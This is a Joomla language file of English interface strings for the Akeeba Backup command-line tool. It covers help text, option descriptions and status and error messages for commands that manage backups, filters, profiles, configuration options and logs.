COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_ERROR403_RECEIVED="The server denied the connection. Please make sure that the front-end backup feature is enabled and a valid secret word is in place."
COM_AKEEBABACKUP_CLI_ERR_SERVER_RESPONSE="Server response:"
COM_AKEEBABACKUP_CLI_ERR_CORRUPT_RESPONSE="We could not understand the server's response. Most likely a backup error has occurred. The server's response was:"
COM_AKEEBABACKUP_CLI_ERR_FECHECKS_CORRUPT_RESPONSE="We could not understand the server's response. Most likely a failed backups check error has occurred. The server's response was:"
COM_AKEEBABACKUP_CLI_ERR_CORRUPT_RESPONSE_INFO="If you do not see “200 OK” at the end of this output, the backup has failed."
COM_AKEEBABACKUP_CLI_ERR_FECHECKS_CORRUPT_RESPONSE_INFO="If you do not see “200 OK” at the end of this output, the failed backups check has failed."

COM_AKEEBABACKUP_CLI_CHECK_ALT_COMMAND_HELP="<info>%command.name%</info> will check for failed backups attempts with Akeeba Backup, using its front-end feature.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_CHECK_ALT_COMMAND_DESC="Check for failed Akeeba Backup backups with its front-end feature"

COM_AKEEBABACKUP_CLI_UPLOADCHECK_ALT_COMMAND_HELP="<info>%command.name%</info> will check for Akeeba Backup backups which failed to upload to remote storage, using its front-end feature.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_UPLOADCHECK_ALT_COMMAND_DESC="Check for Akeeba Backup backups which failed to upload to remote storage, using its front-end feature"

COM_AKEEBABACKUP_CLI_BACKUP_ALT_COMMAND_HELP="<info>%command.name%</info> will take a backup with Akeeba Backup, using its front-end backup feature.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_ALT_COMMAND_DESC="Take a backup with Akeeba Backup's frontend backup feature"
COM_AKEEBABACKUP_CLI_BACKUP_ALT_OPT_PROFILE="Profile number"
COM_AKEEBABACKUP_CLI_HEAD_BACKUP_ALTERNATE="Taking a backup with Akeeba Backup's frontend backup feature"

COM_AKEEBABACKUP_CLI_HEAD_CHECK_ALTERNATE="Checking for failed backup attempts made with Akeeba Backup using the front-end feature"

COM_AKEEBABACKUP_CLI_LBL_UNSET_TIME_LIMITS="Unsetting time limit restrictions"
COM_AKEEBABACKUP_CLI_LBL_START_BACKUP_WITH_PROFILE="Starting a backup with backup profile #%d"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_BACKUP="[%s] Beginning backing up"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_CHECK="[%s] Starting the check for failed backups"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_UPLOADCHECK="[%s] Starting the check for failed uploads"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_RECEIVED_HTTP="[%s] Received HTTP %d"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_NO_MESSAGE="[%s] No message received"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_PROGRESS_RECEIVED="[%s] Backup progress signal received"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_FINALISATION_RECEIVED="[%s] Backup finalisation message received"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_CHECKS_FINALISATION_RECEIVED="[%s] Checks finalisation message received"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_ERROR500_RECEIVED="[%s] Error signal received"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_ERROR403_RECEIVED="[%s] Connection denied (403) message received"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_CORRUPT="[%s] Could not parse the server response."

COM_AKEEBABACKUP_CLI_LBL_FEBACKUP_FINISH_HEAD="Your backup has finished successfully."
COM_AKEEBABACKUP_CLI_LBL_FEBACKUP_FINISH_DETAILS="Please review your backup log file for any warning messages. If you see any such messages, please make sure that your backup is working properly by trying to restore it on a local server."

COM_AKEEBABACKUP_CLI_LBL_FECHECK_FINISH_HEAD="Checks are finished successfully."

COM_AKEEBABACKUP_CLI_HEAD_CHECK="Checking for failed backup attempts made with Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_CHECK_HELP="<info>%command.name%</info> will check for failed backup attempts made with Akeeba Backup\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_CHECK_DESC="Check for failed Akeeba Backup backup attempts"

COM_AKEEBABACKUP_CLI_HEAD_FAILEDUPLOAD_ALTERNATE="Checking for Akeeba Backup backups which failed to upload to remote storage using the front-end feature"
COM_AKEEBABACKUP_CLI_HEAD_FAILEDUPLOAD="Checking for Akeeba Backup backups which failed to upload to remote storage"
COM_AKEEBABACKUP_CLI_FAILEDUPLOAD_HELP="<info>%command.name%</info> will check for backups taken with Akeeba Backup which failed to upload to remote storage.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FAILEDUPLOAD_DESC="Check for Akeeba Backup backups which failed to upload"

COM_AKEEBABACKUP_CLI_HEAD_BACKUP_DELETE="Deleting Akeeba Backup record #%d"
COM_AKEEBABACKUP_CLI_LBL_BACKUP_DELETE_FILES="The files of backup record #%d have been deleted."
COM_AKEEBABACKUP_CLI_LBL_BACKUP_DELETE="The backup record #%d has been deleted."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DELETE_FILES="Cannot delete the files of backup record #%d: %s"
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DELETE="Cannot delete backup record #%d: %s"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_HELP="<info>%command.name%</info> will delete a backup record known to Akeeba Backup, or just its files\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_DESC="Deletes a backup record known to Akeeba Backup, or just its files"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_OPT_ID="The id of the backup record to delete"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_OPT_ONLY_FILES="Only delete the backup files stored on the site's server, not the record itself."

COM_AKEEBABACKUP_CLI_HEAD_BACKUP_DOWNLOAD="Retrieving part #%d of Akeeba Backup record #%d"
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_NO_FILES="Backup record '%s' does not have any files available for download. Have you already deleted them?"
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_NO_FILES_MAYBE_REMOTE="Backup record '%s' does not have any files available for download on the server. If they are stored remotely you may need to use the fetch command first."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_OUT_OF_RANGE="There is no part '%s' of backup record '%s'."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_MISSING="Can not find part '%s' of backup record '%s' on the server."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_UNREADABLE="Cannot open '%s' for reading. Check the permissions / ACLs of the file."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_UNWRITEABLE="Cannot open '%s' for writing. Check whether the folder exists and the permissions / ACLs of both the enclosing folder and the file."
COM_AKEEBABACKUP_CLI_LBL_BACKUP_DOWNLOAD_DONE="Downloaded part %d of backup record #%d into file %s"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_HELP="<info>%command.name%</info> will output or write a file with a backup archive part of a backup record known to Akeeba Backup\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_DESC="Returns a backup archive part for a backup record known to Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_ID="The id of the backup record to retrieve archives for"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_PART="The part number of the backup archive to retrieve"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_FILE="File path to write to. Will output to STDOUT if not defined."

COM_AKEEBABACKUP_CLI_BACKUP_FETCH_HEAD="Retrieving the remotely stored files for Akeeba Backup record #%d"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_SECTION_DOWNLOADING="Downloading backup archive for backup #%d"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_LBL_PART_FRAG="Part file: %d, file fragment: %d"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_LBL_FINISHED="Retrieving files of backup record '%s' has finished."
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_ERR_FAILED="Retrieving files of backup record '%s' failed."
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_HELP="<info>%command.name%</info> will download the backup archives of a backup known to Akeeba backup from the remote storage back to the server.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_DESC="Download a backup from the remote storage back to the server"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_OPT_ID="The id of the backup record to retrieve"

COM_AKEEBABACKUP_CLI_BACKUP_INFO_HEAD="Information for Akeeba Backup record #%d"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_HELP="<info>%command.name%</info> will list a backup record known to Akeeba Backup\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_DESC="Lists a backup record known to Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_OPT_ID="The id of the backup record to list"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_OPT_FORMAT="Output format: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_BACKUP_LIST_HEAD="List of Akeeba Backup records matching your criteria"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_HELP="<info>%command.name%</info> will list backup records known to Akeeba Backup\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_DESC="Lists backup records known to Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_FROM="How many backup records to skip before starting the output."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_LIMIT="Maximum number of backup records to display."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_FORMAT="Output format: table, json, yaml, csv, count."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_DESCRIPTION="Listed backup records must match this (partial) description."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_AFTER="List backup records taken after this date."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_BEFORE="List backup records taken before this date."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_ORIGIN="List backups from this origin only: backend, frontend, json, cli."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_PROFILE="List backups taken with this profile. Give the numeric profile ID."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_SORT_BY="Sort the output by the given column: id, description, profile_id, backupstart"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_SORT_ORDER="Sort order: asc, desc."

COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_HEAD="Modifying Akeeba Backup record #%d"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_HELP="<info>%command.name%</info> will modify a backup record known to Akeeba Backup\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_DESC="Modifies a backup record known to Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_ERR_DESC_AND_COMMENT_REQUIRED="You must specify one or both of --description and --comment"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_ERR_CANNOT_MODIFY="Cannot modify backup record #%d"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_LBL_MODIFIED="Backup record #%d has been modified."
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_ID="The id of the backup record to modify"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_DESCRIPTION="Change the short description to this value."
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_COMMENT="Change the backup comment to this value (accepts HTML)."

COM_AKEEBABACKUP_CLI_BACKUP_TAKE_HEAD="Taking a backup with Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_SECTION_START="Starting backup using profile #%s."
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_LASTTICK="Last Tick   : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_DOMAIN="Domain      : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_STEP="Step        : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_SUBSTEP="Substep     : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_PROGRESS="Progress    : %1.2f%%"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_MEMORY="Memory used : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_PEAKMEM="Peak memory used : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_TOTALTILE="Backup loop exited after %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_COMPLETE_WITH_WARNINGS="The backup process is now complete with warnings."
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_COMPLETE="The backup process is now complete."
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_HELP="<info>%command.name%</info> will take a backup with Akeeba Backup\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_DESC="Take a backup with Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_PROFILE="Profile number"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_DESCRIPTION="Short description for the backup record, accepts the standard Akeeba Backup archive naming variables"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_COMMENT="Longer comment for the backup record, provide it in HTML"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_OVERRIDES="Set up configuration overrides in the format \"key1=value1,key2=value2\""

COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_HEAD="Re-uploading Akeeba Backup record #%d"
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_LBL_PROGRESS="Trying to re-upload backup record '%s', part file #%s, fragment #%s. This may take a while."
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_LBL_COMPLETE="Re-upload of backup record '%s' is complete."
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_ERR_FAILED="Re-upload of backup record '%s' failed."
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_HELP="<info>%command.name%</info> will retry uploading a backup known to Akeeba Backup to the remote storage.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_DESC="Retry uploading a backup to the remote storage"
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_OPT_ID="The id of the backup record to upload"

COM_AKEEBABACKUP_CLI_FILTER_DELETE_HEAD="Deleting %s filter “%s” of type %s from profile #%d"
COM_AKEEBABACKUP_CLI_FILTER_TYPE_DATABASE="database"
COM_AKEEBABACKUP_CLI_FILTER_TYPE_FILESYSTEM="filesystem"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_ERR_UNKNOWN_ROOT="Unknown %s root '%s'."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_ONLY_PRO="Filters of the '%s' type are only available with Akeeba Backup Professional."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_ERR_FAILED="Could not delete filter '%s' of type '%s'."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_LBL_DELETED="Deleted filter '%s' of type '%s'."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_HELP="<info>%command.name%</info> will delete a filter value known to Akeeba Backup.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_DESC="Delete a filter value known to Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_FILTER="The filter name to delete"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_ROOT="Which filter root to use. Defaults to [SITEROOT] or [SITEDB] depending on the filter type."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_FILTERTYPE="The type of filter you want to delete: files, directories, skipdirs, skipfiles, regexfiles, regexdirectories, regexskipdirs, regexskipfiles, tables, tabledata, regextables, regextabledata, extradirs, multidb"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_PROFILE="The backup profile to use. Default: 1."

COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_HEAD="Adding %s filter “%s” of type %s to profile #%d"
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_ERR_FAILED="Could not add filter '%s' of type '%s'."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_LBL_SUCCESS="Added filter '%s' of type '%s'."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_HELP="<info>%command.name%</info> will set a file, folder or table exclusion filter to Akeeba Backup.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_DESC="Set an exclusion filter to Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_FILTER="The filter target to add. This is the full path to a file/directory, a table name or a regular expression, depending on the filter type."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_ROOT="Which filter root to use. Defaults to [SITEROOT] or [SITEDB] depending on the filter type."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_FILTERTYPE="The type of filter you want to add: files, directories, skipdirs, skipfiles, regexfiles, regexdirectories, regexskipdirs, regexskipfiles, tables, tabledata, regextables, regextabledata"
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_PROFILE="The backup profile to use. Default: 1."

COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_NEED_PRO="This feature requires Akeeba Backup Professional"
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_ALREADY_EXISTS="The database '%s' is already included. Delete the old inclusion filter before trying to add the database again."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_CANNOT_CONNECT="Could not connect to the database '%s'. Server reported '%s'. Use the --no-check option to continue anyway but be advised that your backup will most likely result in an error."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_FAILED="Could not include database '%s'."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_LBL_ADDED="Added database '%s'."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_HELP="<info>%command.name%</info> will add an additional database to be backed up by Akeeba Backup.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_DESC="Adds an additional database to be backed up by Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_PROFILE="The backup profile to use. Default: 1."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBDRIVER="The database driver to use: mysqli, pdomysql"
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPORT="The database server port. Skip to use the driver\'s default."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBUSERNAME="The database connection username."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPASSWORD="The database connection password."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBNAME="The database name."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPREFIX="The common prefix of the database table names, allows you to change it on restoration."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_CHECK="Check the database connection before adding the filter."

COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_ERR_EXISTS="The directory '%s' is already included with root '%s'. Delete the old inclusion filter before trying to add the directory again."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_ERR_FAILED="Could not add directory '%s'."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_LBL_SUCCESS="Added directory '%s'."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_HELP="<info>%command.name%</info> will add an additional off-site directory to be backed up by Akeeba Backup.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_DESC="Add an additional off-site directory to be backed up by Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_PROFILE="The backup profile to use. Default: 1."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_DIRECTORY="Full path to the off-site directory to add to the backup."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_VIRTUAL="The subfolder inside the backup archive where these files will be stored. This is a subfolder of the "virtual directory" whose name is set in the Configuration page. Skip to determine automatically."

COM_AKEEBABACKUP_CLI_FILTER_LIST_TITLE="List of Akeeba Backup filters matching your criteria"
COM_AKEEBABACKUP_CLI_FILTER_LIST_HELP="<info>%command.name%</info> will list filter values for an Akeeba Backup profile.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_LIST_DESC="Get the filter values known to Akeeba Backup."
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_ROOT="Which filter root to use. Defaults to [SITEROOT] or [SITEDB] depending on the --target option. Ignored for --type=include. Tip: the filesystem and database roots are the "filter" column for --type=include. There are two special roots, [SITEROOT] (the filesystem root of the Joomla site) and [SITEDB] (the main database of the Joomla site)."
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_PROFILE="The backup profile to use. Default: 1."
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_TARGET="The target of filters you want to list: fs (files and folders) or db (database)"
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_TYPE="The type of filters you want to list: exclude, include or regex"
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_FORMAT="Output format: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_LOG_GET_HELP="<info>%command.name%</info> will retrieve a log file from the output directory of the Akeeba Backup profile specified. Note: log files from other backup profiles or Akeeba Backup installations sharing the same output directory can also be retrieved.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_LOG_GET_DESC="Retrieve a log file known to Akeeba Backup"
COM_AKEEBABACKUP_CLI_LOG_GET_OPT_PROFILE_ID="Log files in the output directory of this Akeeba Backup profile will be retrieved"
COM_AKEEBABACKUP_CLI_LOG_GET_OPT_LOG_TAG="The tag of the log file to retrieve"

COM_AKEEBABACKUP_CLI_LOG_LIST_TITLE="List of Akeeba Backup log files for output directory %s"
COM_AKEEBABACKUP_CLI_LOG_LIST_HELP="<info>%command.name%</info> will list all log files in the output directory of the Akeeba Backup profile specified. Note: log files from other backup profiles or Akeeba Backup installations sharing the same output directory will also be listed.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_LOG_LIST_DESC="Lists log files known to Akeeba Backup"
COM_AKEEBABACKUP_CLI_LOG_LIST_OPT_PROFILE_ID="Log files in the output directory of this Akeeba Backup profile will be listed"
COM_AKEEBABACKUP_CLI_LOG_LIST_OPT_FORMAT="Output format: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_INVALID_PROFILE="Could not find profile #%s."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_NO_MULTIPLE="This command cannot return multiple values given the partial key prefix “%s”. Please supply they exact key name you want to retrieve. Use the akeeba:option:list command to see the available keys with the prefix %s."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_INVALID_KEY="Invalid key “%s”."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_HELP="<info>%command.name%</info> will get the value of a configuration option for an Akeeba Backup profile.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_OPTIONS_GET_DESC="Gets the value of a configuration option for an Akeeba Backup profile"
COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_KEY="The option key to retrieve"
COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_PROFILE="The backup profile to use. Default: 1."
COM_AKEEBABACKUP_CLI_OPTIONS_GET_OPT_FORMAT="Output format: text, json, print_r, var_dump, var_export."

COM_AKEEBABACKUP_CLI_OPTIONS_LIST_ERR_NO_SUCH_OPTION="No options found matching your criteria."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_HELP="<info>%command.name%</info> will list the configuration options for an Akeeba Backup profile, including their titles.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_DESC="Lists the configuration options for an Akeeba Backup profile, including their titles"
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_PROFILE="The backup profile to use. Default: 1."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_FILTER="Only return records whose keys begin with the given filter."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_SORT_BY="Sort the output by the given column: none, key, value, type, default, title, description, section"
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_SORT_ORDER="Sort order: asc, desc."
COM_AKEEBABACKUP_CLI_OPTIONS_LIST_OPT_FORMAT="Output format: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_OUT_OF_BOUNDS="Invalid value '%s': out of bounds."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_INVALID_BOOL="Invalid boolean value '%s': use one of 0, false, no, off, 1, true, yes or on.'"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_INVALID_ENUM="Invalid enumerated value '%s'. Must be one of %s."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_HIDDEN="Setting hidden option '%s' is not allowed."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_UNKNOWN_TYPE="Unknown type %s for option '%s'. Have you manually tampered with the option JSON files?"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_PROTECTED="Cannot set protected option '%s'. Please use the --force option to override the protection."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_GENERAL="Could not set option '%s'."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_LBL_SUCCESS="Successfully set option '%s' to '%s'"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_HELP="<info>%command.name%</info> will set the value of a configuration option for an Akeeba Backup profile.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_DESC="Sets the value of a configuration option for an Akeeba Backup profile"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_KEY="The option key to set"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_VALUE="The value to set"
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_PROFILE="The backup profile to use. Default: 1."
COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_FORCE="Allow setting the value of protected options."

COM_AKEEBABACKUP_CLI_PROFILE_COPY_ERR_NOT_FOUND="Cannot copy profile %s; profile not found."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_ERR_FAILED="Cannot copy profile #%s: %s"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_LBL_SUCCESS="Copy successful. Created new profile with ID %s."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_HELP="<info>%command.name%</info> will create a copy of an Akeeba Backup profile.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_DESC="Creates a copy of an Akeeba Backup profile"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_ID="The numeric ID of the profile to copy"
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_FILTERS="Include filters in the copy."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_DESCRIPTION="Description for the new backup profile. Uses the old profile\'s description if not specified."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_QUICKICON="Should the new backup profile have a one-click backup icon? Copies the old profile\'s setting if not specified."
COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_FORMAT="The format for the response. Use JSON to get a JSON-parseable numeric ID of the new backup profile. Values: text, json"

COM_AKEEBABACKUP_CLI_PROFILE_CREATE_ERR_FAILED="Cannot create profile: %s"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_LBL_SUCCESS="Created new profile with ID %s."
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_HELP="<info>%command.name%</info> will create a new Akeeba Backup profile.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_DESC="Creates a new Akeeba Backup profile"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_DESCRIPTION="Description for the new backup profile. Default: “New backup profile”"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_QUICKICON="Should the new backup profile have a one-click backup icon? Default: 1"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_FORMAT="The format for the response. Use JSON to get a JSON-parseable numeric ID of the new backup profile. Values: text, json"
COM_AKEEBABACKUP_CLI_PROFILE_CREATE_LBL_NEW_PROFILE="New backup profile"

COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_DEFAULT="You cannot delete the default backup profile (#1)"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_NOTFOUND="Cannot delete profile %s; profile not found."
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_ERR_FAILED="Cannot delete profile #%s: %s"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_LBL_SUCCESS="Profile #%d has been deleted."
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_HELP="<info>%command.name%</info> will delete an Akeeba Backup profile.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_DELETE_DESC="Delete an Akeeba Backup profile"
